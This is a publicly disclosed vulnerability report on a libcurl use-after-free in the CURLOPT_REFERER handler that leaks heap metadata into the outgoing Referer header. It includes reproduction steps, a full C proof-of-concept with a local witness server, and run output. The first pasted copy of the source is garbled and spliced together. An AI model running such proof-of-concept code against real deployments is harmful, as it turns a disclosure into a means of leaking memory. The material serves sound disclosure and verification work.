HexBrain

curl · Report #4064040

Use-after-free read of the freed referer buffer in `curl_easy_setopt(CURLOPT_REFERER)` — stale heap bytes transmitted in an outbound `Referer:` heade

N/Astatus
highseverity
29upvotes
5 Oct 2026disclosed

How it was found

(CWE-416 → CWE-908/CWE-200)

Aset yang terdampak (Affected Asset)

  • Component: libcurl — lib/setopt.c, CURLOPT_REFERER handler (curl_easy_setopt API)
  • Related code paths: lib/bufref.c (Curl_bufref_free), CURLINFO_REFERER getter (lib/getinfo.c:145), referer emission (lib/http.c:2941-2945), pretransfer sync (lib/transfer.c:511-512)
  • Affected versions: libcurl from ff300ac4aa546748b27415e7fd2527315435ef8e (2026-06-01, "setopt: defref the old referer when setting a new") up to, but not including, d02476899f22f851729b6c95290bc73a22a3383d (2026-08-27, "setopt: allow setting a referer from CURLINFO_REFERER", verified by test 2397).
  • Release mapping (verified 2026-09-27 via GitHub compare API): tag curl-8_21_0 (2026-06-24) contains the vulnerable commit and not the fix → curl 8.21.0 is affected. Tag curl-8_22_0 (2026-09-02) contains the fix → not affected. No other tagged release falls inside the window. Master after d0247689 and any build carrying the backport are not affected.

Weakness

CWE-416 (Use After Free), with consequence CWE-908 (Use of Uninitialized Resource) / CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): stale heap bytes copied into an outbound HTTP header.

Severity

  • Original triage outcome (HackerOne #3971462, filed 2026-09-15): Informative. The trigger is an application-side pointer round-trip (getinfo(CURLINFO_REFERER) → setopt(CURLOPT_REFERER, same pointer)); the curl CLI cannot trigger it (verified via curl --libcurl). This document accepts that outcome and is the formatted verification record of the finding — not a request to reopen.
  • Independent assessment: Low. The memory error itself is real and deterministic (reproduced under ASan and on the wire in plain builds, on two architectures), but exploitation requires the application-side composition above. A tagged release is inside the window (curl 8.21.0), which is the actionable part for maintainers.

Description

Commit ff***ac4aa introduced a free-before-read ordering in the CURLOPT_REFERER handler:

/* ff300ac4aa (vulnerable): free BEFORE read */
case CURLOPT_REFERER:
    Curl_bufref_free(&data->state.referer);              /* frees */
    result = Curl_setstropt(&s->str[STRING_SET_REFERER], ptr);  /* strlen(ptr) → UAF */
    break;

CURLINFO_REFERER returns Curl_bufref_ptr(&data->state.referer) directly (getinfo.c:145). When the application passes that pointer back to setopt on the same handle, ptr aliases the buffer just freed, and Curl_setstropt reads it (strlen, setopt.c:90). The copied bytes then reach the wire: pretransfer syncs STRING_SET_REFERER into state.referer (transfer.c:511-512) and the request builder emits Referer: %s from it (http.c:2941-2945).

Measured mechanism of the leak: under glibc tcache, the freed chunk holds allocator metadata written by free() itself. A MALLOC_PERTURB_ marker experiment (x86-64, glibc 2.35: scrub bytes 0xAA/0x55) showed the leaked bytes do not repaint to the marker — proving they are post-free allocator writes (tcache fd/key, safe-linking-mangled on glibc ≥ 2.32), never stale payload and never valid string data.

Fixed upstream by d0247689 with store-then-free ordering and the explicit comment "free the old after the storing the new in case the input is actually pointing back to this", plus regression test 2397 (301 redirect then a second request; asserts the round-tripped Referer arrives intact). The original report was filed 19 days after the fix was public; its Informative outcome is consistent with that.

Summary:

A use-after-free read exists in the CURLOPT_REFERER handler of libcurl between ff300ac4aa (2026-06-01) and d0247689 (2026-08-27, exclusive): the handler frees the referer buffer before copying the new value, and CURLINFO_REFERER hands out a pointer into that buffer, so round-tripping the getter's pointer back into the setter on the same handle makes Curl_setstropt read freed memory. In plain builds the read returns post-free tcache metadata, which libcurl then transmits in the outgoing Referer: header — measured on the wire on two architectures (aarch64 glibc 2.43: 5 deterministic bytes; x86-64 glibc 2.35: 6 varying bytes), no crash, exit 0. Exactly one tagged release sits inside the window (curl 8.21.0). Upstream fixed it on 2026-08-27 with d0247689 + test 2397. HackerOne #3971462 was closed Informative; this is the verification record of that finding.

Steps To Reproduce:

  1. Check out libcurl at ff***ac4aa and build a plain (non-sanitizer) shared library: cmake -S src -B build-plain -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF -DBUILD_CURL_EXE=OFF -DCURL_USE_LIBPSL=OFF -DCURL_USE_OPENSSL=OFF -DCMAKE_C_FLAGS="-g -O1" && cmake --build build-plain (repeat with -fsanitize=address for the sanitizer leg).

  2. Start the witness server (poc/server.py): GET /r returns 301 to /f; GET /f prints the exact Referer: bytes it receives.

  3. In the client (poc/poc.c), on one easy handle: perform GET /r with CURLOPT_FOLLOWLOCATION | CURLOPT_AUTOREFERER (fills state.referer on the redirect), then round-trip the getter pointer into the setter:

    char *ref = NULL;
    curl_easy_getinfo(curl, CURLINFO_REFERER, &ref);   /* pointer into state.referer */
    curl_easy_setopt(curl, CURLOPT_REFERER, ref);      /* frees it, then strlen reads it */
    
  4. Perform a second transfer to /f — the witness prints what arrived on the wire.

  5. Control path (fresh string, no aliasing) is clean on the same build; the same two-path harness against master (contains d0247689 + test 2397) is clean on both paths, exit 0. A shaped variant adds a same-size malloc(24)/free before setopt to document heap-state dependence.

Proof of Concept:

Harness: poc/poc.c (dual-path: control | aliased | shaped) + poc/server.py / poc/server_hex.py (redirect chain + wire witness, prints exact received bytes). Builds and runs verified on two environments:

Build / pathaarch64, Kali/Termux proot, glibc 2.43x86-64, Ubuntu 22.04, glibc 2.35
ff300ac4aa + ASan, controln/a (ASan cannot run under proot: shadow-memory mapping fails)clean — referer intact
ff300ac4aa + ASan, aliasedn/adeterministic heap-use-after-free — READ strlen in Curl_setstropt (setopt.c:90) via curl_easy_setopt ← setopt_cptr (setopt.c:2028); FREED by Curl_bufref_free (bufref.c:61) via bufref dtor
ff300ac4aa plain, controlclean — witness receives the exact set refererclean
ff300ac4aa plain, aliasedexit 0, no crash — witness receives 5 non-string heap bytes 06 ** 02 ** 30 in Referer:exit 0 — witness receives 6 varying non-string heap bytes
ff300ac4aa plain, shapedsame 5 bytes (10/10)different bytes per run — content is heap-state dependent
master HEAD (d0247689 + test 2397)—clean on both paths, exit 0

Key measured facts:

  • On-wire disclosure: stale bytes are actually transmitted, not merely readable — witness logs in evidence/poc_wire_plain_output.txt.
  • Determinism is a property of process layout, not of the mechanism: under proot (fixed mappings — verified: 3/3 separate process launches produce identical heap and text addresses, evidence/layout_determinism.txt) the leaked bytes are identical 10/10 runs in both arms (evidence/leak_determinism_hex.txt, evidence/leak_shaped_10runs.txt); under active ASLR (x86-64) every run differs.
  • Metadata, not payload: MALLOC_PERTURB_=85/170 does not repaint the leaked bytes → they are written after the free-scrub, i.e. by free() itself (tcache fd/key, safe-linking-mangled). By construction never valid string data.
  • No other affected handler: a sweep of every Curl_bufref_free call site in setopt.c at the vulnerable revision found exactly one free→read violation (referer); CURLOPT_CURLU is free→store (safe). CURLINFO_EFFECTIVE_URL (getinfo.c:90) shares the aliasing hazard but no curl-internal path reads the stale pointer — no UAF inside curl from that getter.

Recommended Fix:

  • Upstream/libcurl: already fixed by d0247689 (2026-08-27) — store-then-free ordering, regression coverage in test 2397 / lib2397.c. Packagers of curl 8.21.0 (the one affected tagged release) should backport d0247689 (small, carries the test) or rebuild from 8.22.0.
  • Application-level mitigation: strdup the CURLINFO_REFERER value before passing it to CURLOPT_REFERER; avoid reusing getinfo pointers as setopt inputs generally.
  • Pattern audit: other setopt handlers built on Curl_bufref_free + Curl_setstropt deserve the same ordering check. This audit was performed at the vulnerable revision: 2 call sites, 1 violation (referer), CURLOPT_CURLU safe.

Supporting Material/References:

  • evidence/poc_wire_plain_output.txt — witness log, stale bytes received on the wire (aarch64 plain build)
  • evidence/leak_determinism_10runs.txt + leak_determinism_hex.txt — 10/10 identical leaks 06 66 02 03 30 (aliased, aarch64)
  • evidence/leak_shaped_10runs.txt — heap-shaped arm, same bytes
  • evidence/layout_determinism.txt — 3/3 identical process layouts under proot
  • evidence/poc_vuln_commit_output.txt — ASan transcript at ff300ac4aa (x86-64)
  • evidence/poc_fixed_head_output.txt — clean transcript at master HEAD
  • Commits: ff300ac4aa546748b27415e7fd2527315435ef8e (introduces, 2026-06-01), d02476899f22f851729b6c95290bc73a22a3383d (fixes, 2026-08-27); fix references #22709 (closed as PR without merge — the fix commit carries "Closes #22709")
  • Regression test: tests/data/test2397 + tests/libtest/lib2397.c (301 redirect, round-tripped Referer asserted intact)
  • Related prior report: HackerOne #3774279 (referer dangling-read, same API family)
  • Original submission: HackerOne #3971462 (closed Informative, 2026-09-15)

PoC

┌──(root㉿localhost)-[/tmp/curlpoc] └─# cat > /tmp/curlpoc/poc_allinone.c <<'EOF'

/* poc_allinone.c - CURLOPT_REFERER use-after-free PoC (libcurl ff300ac4aa)

  • All-in-one: embedded HTTP witness (thread) + dual-arm libcurl client. NREQ; i++) { int fd = accept(ls, (struct sockaddr *)&c, &cl); char buf[4096]; size_t got = 0; while(got < sizeof(buf) - 1) { ssize_t n = recv(fd, buf + got, sizeof(buf) - 1 - got, 0); if(n <= 0) break; got += (size_t)n; if(memmem(buf, got, "\r\n\r\n", 4)) break; } buf[got] = 0; w[i].len = 0; w[i].ref[0] = 0; for(char *p = buf; p && *p; p = (strstr(p, "\r\n") ? strstr(p, "\r\n") + 2 : NULL)) { if(!strncmp(p, "\r\n", 2)) break; if(!strncasecmp(p, "Referer:", 8)) { char *eol = strstr(p, "\r\n"); char *v = p + 8; while(*v == ' ') v++; size_t l = eol ? (size_t)(eol - v) : strlen(v); if(l >= sizeof(w[i].ref)) l = sizeof(w[i].ref) - 1; memcpy(w[i].ref, v, l); w[i].ref[l] = 0; w[i].len = (int)l; break; } } if(!strncmp(buf, "GET /r", 6)) dprintf(fd, "HTTP/1.1 301 Moved Permanently\r\nLocation: /f\r\n" "Content-Length: 0\r\nConnection: close\r\n\r\n"); else > * One file, one build, one run - prints a LEAK/CLEAN verdict itself. */ #define _GNU_SOURCE h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 0L); rc = curl_easy_perform(h); printf("=== ARM %-8s final perform=%d\n", name, rc); curl_easy_cleanup(h); }

static void dump(int i, const char *label) { printf("[%d] %-11s len=%d raw="", i, label, w[i].len); for(int j = 0; j < w[i].len; j++) putchar(isprint((unsigned char)w[i].ref[j]) ? w[i].ref[j] : '.'); print> #include <ctype.h> sched_yield(); printf("witness listening on 127.0.0.1:%d\n", port); curl_global_init(CURL_GLOBAL_DEFAULT);

arm("control", 0); arm("aliased", 1);

pthread_join(t, NULL); curl_global_cleanup();

printf("\n=== WITNESS SUMMARY ===\n"); dump(0, "ctrl /r"); dump(1, "ctrl auto"); dump(2, "ctrl FINAL"); dump(3> #include <pthread.h>

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <curl/curl.h>

#define NREQ 6 static volatile int port = 0; static struct { char ref[512]; int len; } w[NREQ];

static void *witness(void *arg) { (void)arg; int ls = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one); struct sockaddr_in a = {0}, c; socklen_t cl = sizeof c, al = sizeof a; a.sin_family = AF_INET; a.sin_addr.s_addr = htonl(0x7f000001); a.sin_port = 0; if(bind(ls, (struct sockaddr *)&a, sizeof a) < 0) { perror("bind"); return NULL; } listen(ls, 8); getsockname(ls, (struct sockaddr *)&a, &al); port = ntohs(a.sin_port);

for(int i = 0; i < NREQ; i++) { int fd = accept(ls, (struct sockaddr *)&c, &cl); char buf[4096]; size_t got = 0; while(got < sizeof(buf) - 1) { ssize_t n = recv(fd, buf + got, sizeof(buf) - 1 - got, 0); if(n <= 0) break; got += (size_t)n; if(memmem(buf, got, "\r\n\r\n", 4)) break; } buf[got] = 0; w[i].len = 0; w[i].ref[0] = 0; for(char *p = buf; p && *p; p = (strstr(p, "\r\n") ? strstr(p, "\r\n") + 2 : NULL)) { if(!strncmp(p, "\r\n", 2)) break; if(!strncasecmp(p, "Referer:", 8)) { char *eol = strstr(p, "\r\n"); char *v = p + 8; while(*v == ' ') v++; size_t l = eol ? (size_t)(eol - v) : strlen(v); if(l >= sizeof(w[i].ref)) l = sizeof(w[i].ref) - 1; memcpy(w[i].ref, v, l); w[i].ref[l] = 0; w[i].len = (int)l; break; } } if(!strncmp(buf, "GET /r", 6)) dprintf(fd, "HTTP/1.1 301 Moved Permanently\r\nLocation: /f\r\n" "Content-Length: 0\r\nConnection: close\r\n\r\n"); else dprintf(fd, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok"); close(fd); } close(ls); return NULL; }

static size_t sink(char *p, size_t s, size_t n, void *u) { (void)p; (void)u; return s * n; }

static void arm(const char *name, int aliased) { CURL h = curl_easy_init(); char url[256]; snprintf(url, sizeof url, "http://127.0.0.1:%d/r", port); curl_easy_setopt(h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(h, CURLOPT_AUTOREFERER, 1L); / fills state.referer on redirect */> curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink); curl_easy_setopt(h, CURLOPT_NOSIGNAL, 1L); CURLcode rc = curl_easy_perform(h);

char *ref = NULL; curl_easy_getinfo(h, CURLINFO_REFERER, &ref); printf("\n=== ARM %-8s perform=%d referer=%p '%s'\n", name, rc, (void )ref, ref ? ref : "(null)"); if(aliased) { printf("=== ARM %-8s setopt(CURLOPT_REFERER, getter ptr) <-- aliasing\n", name);> curl_easy_setopt(h, CURLOPT_REFERER, ref); / handler frees, then strlen reads */ } else { printf("=== ARM %-8s setopt(CURLOPT_REFERER, fresh string)\n", name); curl_easy_setopt(h, CURLOPT_REFERER, "http://control.example/fresh"); } snprintf(url, sizeof url, "http://127.0.0.1:%d/f", port); curl_easy_setopt(h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 0L); rc = curl_easy_perform(h); printf("=== ARM %-8s final perform=%d\n", name, rc); curl_easy_cleanup(h); }

static void dump(int i, const char *label) { printf("[%d] %-11s len=%d raw="", i, label, w[i].len); for(int j = 0; j < w[i].len; j++) putchar(isprint((unsigned char)w[i].ref[j]) ? w[i].ref[j] : '.'); printf("" hex="); for(int j = 0; j < w[i].len; j++) printf("%02x ", (unsigned char)w[i].ref[j]); printf("\n"); }

int main(void) { pthread_t t; pthread_create(&t, NULL, witness, NULL); while(!port) sched_yield(); printf("witness listening on 127.0.0.1:%d\n", port); curl_global_init(CURL_GLOBAL_DEFAULT);

arm("control", 0); arm("aliased", 1);

pthread_join(t, NULL); curl_global_cleanup();

printf("\n=== WITNESS SUMMARY ===\n"); dump(0, "ctrl /r"); dump(1, "ctrl auto"); dump(2, "ctrl FINAL"); dump(3, "alias /r"); dump(4, "alias auto"); dump(5, "alias FINAL");

int ctrl_ok = !strcmp(w[2].ref, "http://control.example/fresh"); int binary = 0; for(int j = 0; j < w[5].len; j++) if(!isprint((unsigned char)w[5].ref[j])) binary = 1; int differs = strcmp(w[5].ref, w[4].ref) != 0;

printf("\n=== VERDICT ===\n"); printf("control FINAL intact ............ %s\n", ctrl_ok ? "YES" : "NO"); printf("aliased FINAL non-ASCII heap bytes: %s\n", binary ? "YES" : "no"); printf("aliased FINAL != legit referer .. %s\n", differs ? "YES" : "no"); if(ctrl_ok && binary && differs) printf("\nRESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, " "not a harness artifact: identical client/server, only the setopt input " "differs between arms)\n"); else if(ctrl_ok && !binary) printf("\nRESULT: no non-string leak this run (allocator-state dependent) - rerun, " "or use the ASan build for the deterministic memory-level proof\n"); else printf("\nRESULT: unexpected - inspect output\n"); return 0; } EOF

┌──(root㉿localhost)-[/tmp/curlpoc] └─# gcc poc_allinone.c -Isrc/include -Ibuild-plain/include -Lbuild-plain/lib -lcurl \

-Wl,-rpath,$PWD/build-plain/lib -lpthread -g -O1 -o poc_allinone

┌──(root㉿localhost)-[/tmp/curlpoc] └─# LD_LIBRARY_PATH=build-plain/lib ./poc_allinone \

| tee /root/codebase/curl_referer_uaf/evidence/poc_allinone_output.txt witness listening on 127.0.0.1:44239

=== ARM control perform=0 referer=0x3000026670 'http://127.0.0.1:44239/r' === ARM control setopt(CURLOPT_REFERER, fresh string) === ARM control final perform=0

=== ARM aliased perform=0 referer=0x3000026560 'http://127.0.0.1:44239/r' === ARM aliased setopt(CURLOPT_REFERER, getter ptr) <-- aliasing === ARM aliased final perform=0

=== WITNESS SUMMARY === [0] ctrl /r len=0 raw="" hex= [1] ctrl auto len=24 raw="http://127.0.0.1:44239/r" hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72 [2] ctrl FINAL len=28 raw="http://control.example/fresh" hex=68 74 74 70 3a 2f 2f 63 6f 6e 74 72 6f 6c 2e 65 78 61 6d 70 6c 65 2f 66 72 65 73 68 [3] alias /r len=0 raw="" hex= [4] alias auto len=24 raw="http://127.0.0.1:44239/r" hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72 [5] alias FINAL len=5 raw=".h..0" hex=86 68 02 03 30

=== VERDICT === control FINAL intact ............ YES aliased FINAL non-ASCII heap bytes: YES aliased FINAL != legit referer .. YES

RESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, not a harness artifact: identical client/server, only the setopt input differs between arms)

┌──(root㉿localhost)-[/tmp/curlpoc] └─# ┌──(root㉿localhost)-[/tmp/curlpoc] └─#

Impact

Customer Impact:

An application that round-trips the CURLINFO_REFERER pointer into CURLOPT_REFERER causes libcurl to copy stale heap bytes into the outgoing Referer: header, disclosing them to every server the subsequent request reaches — measured live, no crash. The bytes are allocator metadata (tcache fd/key, ASLR material); if an application allocates between the getinfo and setopt calls, the freed chunk can be reclaimed with attacker-influenced content, upgrading the leak to content disclosure (variant not exercised). Exposure is limited to libcurl builds from the affected window — notably curl 8.21.0 — and to applications performing this specific round-trip; the curl CLI cannot trigger it.

Business Impact:

Minimal as an open vulnerability: the bug was fixed upstream 19 days before the original report was filed, and exactly one tagged release (8.21.0, 2026-06-24) ships inside the window, so remediation is a single backport decision for affected maintainers. The durable value of this document is the verified commit-and-release window plus the mechanism-grade evidence (two-architecture wire reproduction, MALLOC_PERTURB_ attribution, empirical layout-determinism) and the closed pattern audit — suitable for a distro security note referencing d0247689, or as an end-to-end verification case study.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original